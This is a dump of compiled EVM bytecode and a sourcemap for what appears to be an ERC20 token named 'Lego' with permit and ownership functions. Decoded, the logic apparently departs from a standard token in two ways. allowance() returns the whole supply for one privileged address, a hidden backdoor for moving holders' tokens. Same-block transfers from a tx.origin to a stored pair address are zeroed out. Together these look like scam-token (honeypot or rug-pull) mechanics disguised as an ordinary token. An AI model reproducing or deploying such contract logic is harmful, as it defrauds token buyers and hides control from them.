61610fee565b610569611029565b46305f801b5f67ffffffffffffffff81111561058857610587611eb3565b5b6040519080825280602002602001820160405280156105b65781602001602082028036833780820191505090505b507f0f00000000000000000000000000000000000000000000000000000000000000959493929190965096509650965096509650965090919293949596565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461062c90611e23565b80601f016020809104026020016040519081016040528092919081815260200182805461065890611e23565b80156106a35780601f1061067a576101008083540402835291602001916106a3565b820191905f5260205f20905b81548152906001019060200180831161068657829003601f168201915b5050505050905090565b5f806106b7610984565b90505f6106c48286610889565b905083811015610709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070090611f50565b60405180910390fd5b610716828686840361098b565b60019250505092915050565b5f8061072c610984565b9050610739818585610bd9565b600191505092915050565b8342111561078957836040517f627913020000000000000000000000000000000000000000000000000000000081526004016107809190611a33565b60405180910390fd5b5f7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98888886107b78c611064565b896040516020016107cd96959493929190611f6e565b6040516020818303038152906040528051906020012090505f6107ef826110b7565b90505f6107fe828787876110d0565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461087257808a6040517f4b800e46000000000000000000000000000000000000000000000000000000008152600401610869929190611fcd565b60405180910390fd5b61087d8a8a8a61098b565b50505050505050505050565b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108ed576108e6610464565b90506108fa565b6108f783836110fe565b90505b92915050565b610908610e5e565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610978575f6040517f1e4fbdf700000000000000000000000000000000000000000000000000000000815260040161096f9190611cae565b60405180910390fd5b61098181610ee5565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f090612064565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610a67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5e906120f2565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b419190611a33565b60405180910390a3505050565b5f610b598484610889565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610bd35781811015610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc9061215a565b60405180910390fd5b610bd2848484840361098b565b5b50505050565b5f81905043600b5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054148015610c755750600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610c7e575f90505b5f73ffffffffffffffffffffffffffffffffffffffff16600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610cdf5750610cde83611180565b5b8015610d0f5750600a610cf0610464565b610cfa91906121a5565b610d02610464565b610d0c91906121d5565b82115b15610d555782600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b610d60848483611191565b43600b5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f7f000000000000000000000000e72d1b612feb7a6dd3c1626b45227b1c56afd80473ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff16148015610e2357507f000000000000000000000000000000000000000000000000000000000000000146145b15610e50577f8d20d1ecb27188c2e5629d1c430fcb6a663b570d51825bbf24d8a92d98a1d0e89050610e5b565b610e586113fd565b90505b90565b610e66610984565b73ffffffffffffffffffffffffffffffffffffffff16610e846105f5565b73ffffffffffffffffffffffffffffffffffffffff1614610ee357610ea7610984565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610eda9190611cae565b60405180910390fd5b565b5f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606061102460057f4c65676f0000000000000000000000000000000000000000000000000000000461149290919063ffffffff16565b905090565b606061105f60067f310000000000000000000000000000000000000000000000000000000000000161149290919063ffffffff16565b905090565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050559050919050565b5f6110c96110c3610da8565b8361153f565b9050919050565b5f805f806110e08888888861157f565b9250925092506110f08282611666565b829350505050949350505050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f80823b90505f8111915050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f690612278565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361126d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126490612306565b60405180910390fd5b6112788383836117c8565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290612394565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113e49190611a33565b60405180910390a36113f78484846117cd565b50505050565b5f7f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f24e422ecf443b302c0465f00e1fc65c7b485e2694080a7517e0b26704b35dd7b7fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016114779594939291906123b2565b60405160208183030381529060405280519060200120905090565b606060ff5f1b83146114ae576114a7836117d2565b9050611539565b8180546114ba90611e23565b80601f01602080910402602001604051908101604052809291908181526020018280546114e690611e23565b80156115315780601f1061150857610100808354040283529160200191611531565b820191905f5260205f20905b81548152906001019060200180831161151457829003601f168201915b505050505090505b92915050565b5f6040517f190100000000000000000000000000000000000000000000000000000000000081528360028201528260228201526042812091505092915050565b5f805f7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0845f1c11156115bb575f60038592509250925061165c565b5f6001888888886040515f81526020016040526040516115de9493929190612403565b6020604051602081039080840390855afa1580156115fe573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361164f575f60015f801b9350935093505061165c565b805f805f1b935093509350505b9450945094915050565b5f600381111561167957611678612446565b5b82600381111561168c5761168b612446565b5b03156117c457600160038111156116a6576116a5612446565b5b8260038111156116b9576116b8612446565b5b036116f0576040517ff645eedf00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6002600381111561170457611703612446565b5b82600381111561171757611716612446565b5b0361175b57805f1c6040517ffce698f70000000000000000000000000000000000000000000000000000000081526004016117529190611a33565b60405180910390fd5b60038081111561176e5761176d612446565b5b82600381111561178157611780612446565b5b036117c357806040517fd78bce0c0000000000000000000000000000000000000000000000000000000081526004016117ba9190611ae8565b60405180910390fd5b5b5050565b505050565b505050565b60605f6117de83611844565b90505f602067ffffffffffffffff8111156117fc576117fb611eb3565b5b6040519080825280601f01601f19166020018201604052801561182e5781602001600182028036833780820191505090505b5090508181528360208201528092505050919050565b5f8060ff835f1c169050601f811115611889576040517fb3512b0c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b80915050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6118d482611892565b6118de818561189c565b93506118ee8185602086016118ac565b6118f7816118ba565b840191505092915050565b5f6020820190508181035f83015261191a81846118ca565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61194f82611926565b9050919050565b61195f81611945565b8114611969575f80fd5b50565b5f8135905061197a81611956565b92915050565b5f819050919050565b61199281611980565b811461199c575f80fd5b50565b5f813590506119ad81611989565b92915050565b5f80604083850312156119c9576119c8611922565b5b5f6119d68582860161196c565b92505060206119e78582860161199f565b9150509250929050565b5f8115159050919050565b611a05816119f1565b82525050565b5f602082019050611a1e5f8301846119fc565b92915050565b611a2d81611980565b82525050565b5f602082019050611a465f830184611a24565b92915050565b5f805f60608486031215611a6357611a62611922565b5b5f611a708682870161196c565b9350506020611a818682870161196c565b9250506040611a928682870161199f565b9150509250925092565b5f60ff82169050919050565b611ab181611a9c565b82525050565b5f602082019050611aca5f830184611aa8565b92915050565b5f819050919050565b611ae281611ad0565b82525050565b5f602082019050611afb5f830184611ad9565b92915050565b5f60208284031215611b1657611b15611922565b5b5f611b238482850161196c565b91505092915050565b5f7fff0000000000000000000000000000000000000000000000000000000000000082169050919050565b611b6081611b2c565b82525050565b611b6f81611945565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611ba781611980565b82525050565b5f611bb88383611b9e565b60208301905092915050565b5f602082019050919050565b5f611bda82611b75565b611be48185611b7f565b9350611bef83611b8f565b805f5b83811015611c1f578151611c068882611bad565b9750611c1183611bc4565b925050600181019050611bf2565b5085935050505092915050565b5f60e082019050611c3f5f83018a611b57565b8181036020830152611c5181896118ca565b90508181036040830152611c6581886118ca565b9050611c746060830187611a24565b611c816080830186611b66565b611c8e60a0830185611ad9565b81810360c0830152611ca08184611bd0565b905098975050505050505050565b5f602082019050611cc15f830184611b66565b92915050565b611cd081611a9c565b8114611cda575f80fd5b50565b5f81359050611ceb81611cc7565b92915050565b611cfa81611ad0565b8114611d04575f80fd5b50565b5f81359050611d1581611cf1565b92915050565b5f805f805f805f60e0888a031215611d3657611d35611922565b5b5f611d438a828b0161196c565b9750506020611d548a828b0161196c565b9650506040611d658a828b0161199f565b9550506060611d768a828b0161199f565b9450506080611d878a828b01611cdd565b93505060a0611d988a828b01611d07565b92505060c0611da98a828b01611d07565b91505092959891949750929550565b5f8060408385031215611dce57611dcd611922565b5b5f611ddb8582860161196c565b9250506020611dec8582860161196c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611e3a57607f821691505b602082108103611e4d57611e4c611df6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e8a82611980565b9150611e9583611980565b9250828201905080821115611ead57611eac611e53565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f611f3a60258361189c565b9150611f4582611ee0565b604082019050919050565b5f6020820190508181035f830152611f6781611f2e565b9050919050565b5f60c082019050611f815f830189611ad9565b611f8e6020830188611b66565b611f9b6040830187611b66565b611fa86060830186611a24565b611fb56080830185611a24565b611fc260a0830184611a24565b979650505050505050565b5f604082019050611fe05f830185611b66565b611fed6020830184611b66565b9392505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61204e60248361189c565b915061205982611ff4565b604082019050919050565b5f6020820190508181035f83015261207b81612042565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6120dc60228361189c565b91506120e782612082565b604082019050919050565b5f6020820190508181035f830152612109816120d0565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f612144601d8361189c565b915061214f82612110565b602082019050919050565b5f6020820190508181035f83015261217181612138565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6121af82611980565b91506121ba83611980565b9250826121ca576121c9612178565b5b828204905092915050565b5f6121df82611980565b91506121ea83611980565b925082820390508181111561220257612201611e53565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61226260258361189c565b915061226d82612208565b604082019050919050565b5f6020820190508181035f83015261228f81612256565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6122f060238361189c565b91506122fb82612296565b604082019050919050565b5f6020820190508181035f83015261231d816122e4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f61237e60268361189c565b915061238982612324565b604082019050919050565b5f6020820190508181035f8301526123ab81612372565b9050919050565b5f60a0820190506123c55f830188611ad9565b6123d26020830187611ad9565b6123df6040830186611ad9565b6123ec6060830185611a24565b6123f96080830184611b66565b9695505050505050565b5f6080820190506124165f830187611ad9565b6124236020830186611aa8565b6124306040830185611ad9565b61243d6060830184611ad9565b95945050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffdfea26469706673582212206108790caf1c928912be53a4a8a6652c2286167cd4a1acfe5b3068df239c158a64736f6c63430008190033

Deployed Bytecode Sourcemap

76932:1275:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;63185:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;65545:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;64314:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;66326:261;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;64156:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;76701:114;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;66996:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;64485:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;56621:103;;;:::i;:::-;;76443:145;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;39863:580;;;:::i;:::-;;;;;;;;;;;;;:::i;:::-;;;;;;;;55946:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;63404:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;67737:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;64818:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;75689:695;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;77798:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;56879:220;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;63185:100;63239:13;63272:5;63265:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;63185:100;:::o;65545:201::-;65628:4;65645:13;65661:12;:10;:12::i;:::-;65645:28;;65684:32;65693:5;65700:7;65709:6;65684:8;:32::i;:::-;65734:4;65727:11;;;65545:201;;;;:::o;64314:108::-;64375:7;64402:12;;64395:19;;64314:108;:::o;66326:261::-;66423:4;66440:15;66458:12;:10;:12::i;:::-;66440:30;;66481:38;66497:4;66503:7;66512:6;66481:15;:38::i;:::-;66530:27;66540:4;66546:2;66550:6;66530:9;:27::i;:::-;66575:4;66568:11;;;66326:261;;;;;:::o;64156:93::-;64214:5;64239:2;64232:9;;64156:93;:::o;76701:114::-;76760:7;76787:20;:18;:20::i;:::-;76780:27;;76701:114;:::o;66996:238::-;67084:4;67101:13;67117:12;:10;:12::i;:::-;67101:28;;67140:64;67149:5;67156:7;67193:10;67165:25;67175:5;67182:7;67165:9;:25::i;:::-;:38;;;;:::i;:::-;67140:8;:64::i;:::-;67222:4;67215:11;;;66996:238;;;;:::o;64485:127::-;64559:7;64586:9;:18;64596:7;64586:18;;;;;;;;;;;;;;;;64579:25;;64485:127;;;:::o;56621:103::-;55832:13;:11;:13::i;:::-;56686:30:::1;56713:1;56686:18;:30::i;:::-;56621:103::o:0;76443:145::-;76534:7;76561:19;76574:5;76561:12;:19::i;:::-;76554:26;;76443:145;;;:::o;39863:580::-;39966:13;39994:18;40027:21;40063:15;40093:25;40133:12;40160:27;40268:13;:11;:13::i;:::-;40296:16;:14;:16::i;:::-;40327:13;40363:4;40391:1;40383:10;;40422:1;40408:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;40215:220;;;;;;;;;;;;;;;;;;;;;39863:580;;;;;;;:::o;55946:87::-;55992:7;56019:6;;;;;;;;;;;56012:13;;55946:87;:::o;63404:104::-;63460:13;63493:7;63486:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;63404:104;:::o;67737:436::-;67830:4;67847:13;67863:12;:10;:12::i;:::-;67847:28;;67886:24;67913:25;67923:5;67930:7;67913:9;:25::i;:::-;67886:52;;67977:15;67957:16;:35;;67949:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;68070:60;68079:5;68086:7;68114:15;68095:16;:34;68070:8;:60::i;:::-;68161:4;68154:11;;;;67737:436;;;;:::o;64818:193::-;64897:4;64914:13;64930:12;:10;:12::i;:::-;64914:28;;64953;64963:5;64970:2;64974:6;64953:9;:28::i;:::-;64999:4;64992:11;;;64818:193;;;;:::o;75689:695::-;75919:8;75901:15;:26;75897:99;;;75975:8;75951:33;;;;;;;;;;;:::i;:::-;;;;;;;;75897:99;76008:18;75009:95;76067:5;76074:7;76083:5;76090:16;76100:5;76090:9;:16::i;:::-;76108:8;76039:78;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;76029:89;;;;;;76008:110;;76131:12;76146:28;76163:10;76146:16;:28::i;:::-;76131:43;;76187:14;76204:28;76218:4;76224:1;76227;76230;76204:13;:28::i;:::-;76187:45;;76257:5;76247:15;;:6;:15;;;76243:90;;76307:6;76315:5;76286:35;;;;;;;;;;;;:::i;:::-;;;;;;;;76243:90;76345:31;76354:5;76361:7;76370:5;76345:8;:31::i;:::-;75886:498;;;75689:695;;;;;;;:::o;77798:233::-;77887:7;77920:6;;;;;;;;;;;77911:15;;:5;:15;;;77907:68;;77950:13;:11;:13::i;:::-;77943:20;;;;77907:68;77992:31;78008:5;78015:7;77992:15;:31::i;:::-;77985:38;;77798:233;;;;;:::o;56879:220::-;55832:13;:11;:13::i;:::-;56984:1:::1;56964:22;;:8;:22;;::::0;56960:93:::1;;57038:1;57010:31;;;;;;;;;;;:::i;:::-;;;;;;;;56960:93;57063:28;57082:8;57063:18;:28::i;:::-;56879:220:::0;:::o;53955:98::-;54008:7;54035:10;54028:17;;53955:98;:::o;71730:346::-;71849:1;71832:19;;:5;:19;;;71824:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;71930:1;71911:21;;:7;:21;;;71903:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;72014:6;71984:11;:18;71996:5;71984:18;;;;;;;;;;;;;;;:27;72003:7;71984:27;;;;;;;;;;;;;;;:36;;;;72052:7;72036:32;;72045:5;72036:32;;;72061:6;72036:32;;;;;;:::i;:::-;;;;;;;;71730:346;;;:::o;72367:419::-;72468:24;72495:25;72505:5;72512:7;72495:9;:25::i;:::-;72468:52;;72555:17;72535:16;:37;72531:248;;72617:6;72597:16;:26;;72589:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;72701:51;72710:5;72717:7;72745:6;72726:16;:25;72701:8;:51::i;:::-;72531:248;72457:329;72367:419;;;:::o;77307:483::-;77405:15;77423:6;77405:24;;77466:12;77444:7;:18;77452:9;77444:18;;;;;;;;;;;;;;;;:34;:46;;;;;77488:2;;;;;;;;;;;77482:8;;:2;:8;;;77444:46;77440:90;;;77517:1;77507:11;;77440:90;77558:1;77544:16;;:2;;;;;;;;;;;:16;;;:47;;;;;77577:14;77588:2;77577:10;:14::i;:::-;77544:47;:110;;;;;77650:2;77635:13;:11;:13::i;:::-;:17;;;;:::i;:::-;77618:13;:11;:13::i;:::-;:35;;;;:::i;:::-;77608:6;:46;77544:110;77540:154;;;77680:2;77675;;:7;;;;;;;;;;;;;;;;;;77540:154;77704:34;77720:4;77726:2;77730:7;77704:15;:34::i;:::-;77770:12;77749:7;:18;77757:9;77749:18;;;;;;;;;;;;;;;:33;;;;77394:396;77307:483;;;:::o;38530:268::-;38583:7;38624:11;38607:28;;38615:4;38607:28;;;:63;;;;;38656:14;38639:13;:31;38607:63;38603:188;;;38694:22;38687:29;;;;38603:188;38756:23;:21;:23::i;:::-;38749:30;;38530:268;;:::o;56111:166::-;56182:12;:10;:12::i;:::-;56171:23;;:7;:5;:7::i;:::-;:23;;;56167:103;;56245:12;:10;:12::i;:::-;56218:40;;;;;;;;;;;:::i;:::-;;;;;;;;56167:103;56111:166::o;57259:191::-;57333:16;57352:6;;;;;;;;;;;57333:25;;57378:8;57369:6;;:17;;;;;;;;;;;;;;;;;;57433:8;57402:40;;57423:8;57402:40;;;;;;;;;;;;57322:128;57259:191;:::o;578:109::-;638:7;665;:14;673:5;665:14;;;;;;;;;;;;;;;;658:21;;578:109;;;:::o;40772:128::-;40818:13;40851:41;40878:13;40851:5;:26;;:41;;;;:::i;:::-;40844:48;;40772:128;:::o;41235:137::-;41284:13;41317:47;41347:16;41317:8;:29;;:47;;;;:::i;:::-;41310:54;;41235:137;:::o;808:402::-;868:7;1175;:14;1183:5;1175:14;;;;;;;;;;;;;;;;:16;;;;;;;;;;;;1168:23;;808:402;;;:::o;39629:178::-;39706:7;39733:66;39766:20;:18;:20::i;:::-;39788:10;39733:32;:66::i;:::-;39726:73;;39629:178;;;:::o;48369:264::-;48454:7;48475:17;48494:18;48514:16;48534:25;48545:4;48551:1;48554;48557;48534:10;:25::i;:::-;48474:85;;;;;;48570:28;48582:5;48589:8;48570:11;:28::i;:::-;48616:9;48609:16;;;;;48369:264;;;;;;:::o;65074:151::-;65163:7;65190:11;:18;65202:5;65190:18;;;;;;;;;;;;;;;:27;65209:7;65190:27;;;;;;;;;;;;;;;;65183:34;;65074:151;;;;:::o;78039:165::-;78096:4;78113:9;78164:4;78152:17;78144:25;;78195:1;78188:4;:8;78181:15;;;78039:165;;;:::o;68643:806::-;68756:1;68740:18;;:4;:18;;;68732:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;68833:1;68819:16;;:2;:16;;;68811:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;68888:38;68909:4;68915:2;68919:6;68888:20;:38::i;:::-;68939:19;68961:9;:15;68971:4;68961:15;;;;;;;;;;;;;;;;68939:37;;69010:6;68995:11;:21;;68987:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;69127:6;69113:11;:20;69095:9;:15;69105:4;69095:15;;;;;;;;;;;;;;;:38;;;;69330:6;69313:9;:13;69323:2;69313:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;69380:2;69365:26;;69374:4;69365:26;;;69384:6;69365:26;;;;;;:::i;:::-;;;;;;;;69404:37;69424:4;69430:2;69434:6;69404:19;:37::i;:::-;68721:728;68643:806;;;:::o;38806:181::-;38861:7;36722:95;38920:11;38933:14;38949:13;38972:4;38898:80;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;38888:91;;;;;;38881:98;;38806:181;:::o;9918:273::-;10012:13;7864:66;10071:17;;10061:5;10042:46;10038:146;;10112:15;10121:5;10112:8;:15::i;:::-;10105:22;;;;10038:146;10167:5;10160:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9918:273;;;;;:::o;34329:410::-;34422:14;34534:4;34528:11;34565:10;34560:3;34553:23;34613:15;34606:4;34601:3;34597:14;34590:39;34666:10;34659:4;34654:3;34650:14;34643:34;34716:4;34711:3;34701:20;34691:30;;34502:230;34329:410;;;;:::o;46674:1556::-;46805:7;46814:12;46828:7;47748:66;47743:1;47735:10;;:79;47731:166;;;47847:1;47851:30;47883:1;47831:54;;;;;;;;47731:166;47994:14;48011:24;48021:4;48027:1;48030;48033;48011:24;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;47994:41;;48068:1;48050:20;;:6;:20;;;48046:115;;48103:1;48107:29;48146:1;48138:10;;48087:62;;;;;;;;;48046:115;48181:6;48189:20;48219:1;48211:10;;48173:49;;;;;;;46674:1556;;;;;;;;;:::o;48771:542::-;48867:20;48858:29;;;;;;;;:::i;:::-;;:5;:29;;;;;;;;:::i;:::-;;;48854:452;48904:7;48854:452;48965:29;48956:38;;;;;;;;:::i;:::-;;:5;:38;;;;;;;;:::i;:::-;;;48952:354;;49018:23;;;;;;;;;;;;;;48952:354;49072:35;49063:44;;;;;;;;:::i;:::-;;:5;:44;;;;;;;;:::i;:::-;;;49059:247;;49167:8;49159:17;;49131:46;;;;;;;;;;;:::i;:::-;;;;;;;;49059:247;49208:30;49199:39;;;;;;;;:::i;:::-;;:5;:39;;;;;;;;:::i;:::-;;;49195:111;;49285:8;49262:32;;;;;;;;;;;:::i;:::-;;;;;;;;49195:111;48771:542;;;:::o;73386:91::-;;;;:::o;74081:90::-;;;;:::o;8573:415::-;8632:13;8658:11;8672:16;8683:4;8672:10;:16::i;:::-;8658:30;;8778:17;8809:2;8798:14;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8778:34;;8903:3;8898;8891:16;8944:4;8937;8932:3;8928:14;8921:28;8977:3;8970:10;;;;8573:415;;;:::o;9065:251::-;9126:7;9146:14;9199:4;9190;9163:33;;:40;9146:57;;9227:2;9218:6;:11;9214:71;;;9253:20;;;;;;;;;;;;;;9214:71;9302:6;9295:13;;;9065:251;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;